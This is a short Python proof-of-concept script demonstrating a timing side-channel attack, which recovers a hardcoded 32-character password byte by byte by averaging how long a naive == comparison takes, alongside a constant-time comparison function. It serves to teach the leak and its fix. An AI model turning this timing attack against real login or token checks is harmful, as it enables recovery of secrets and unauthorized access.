Proof of concept wanna be for Python's timing leaks

leak.py

import os
import time

import gc
gc.disable()

def const_cmp(str1, str2):
    res = len(str1) ^ len(str2)
    for a, b in zip(str1, str2):
        res |= ord(a) ^ ord(b)
    return res == 0

expected_password = "thisneedstobe32bytesdoyougrokit?"  #os.urandom(32)

def oracle(password):
    return password == expected_password

def oracle_const(password):
    return const_cmp(password, expected_password)

def get_average_time(guessed, c):
    time_arr = []
    for i in range(100000):
        test_password = guessed + c + "A"*(32-1-len(guessed))
        assert len(test_password) == 32
        start = time.time()
        oracle(test_password)
        end = time.time()
        curt = end-start
        time_arr.append(curt)
    return sum(time_arr) / float(len(time_arr))

def attack():
    guessed = ""
    for i in range(32):
        candidate = None
        candidate_time = 0.0
        for b in range(256):
            current_time = get_average_time(guessed, chr(b))
            if chr(b) == expected_password[i]:
                # Just a check to see what we should've seen
                print(current_time, chr(b))
            if candidate_time < current_time:
                print(candidate_time, current_time, repr(chr(b)))
                candidate = b
                candidate_time = current_time

        guessed += chr(candidate)
        print(repr(guessed))

    print("Attack result:", oracle(guessed))

if __name__ == "__main__":
    attack()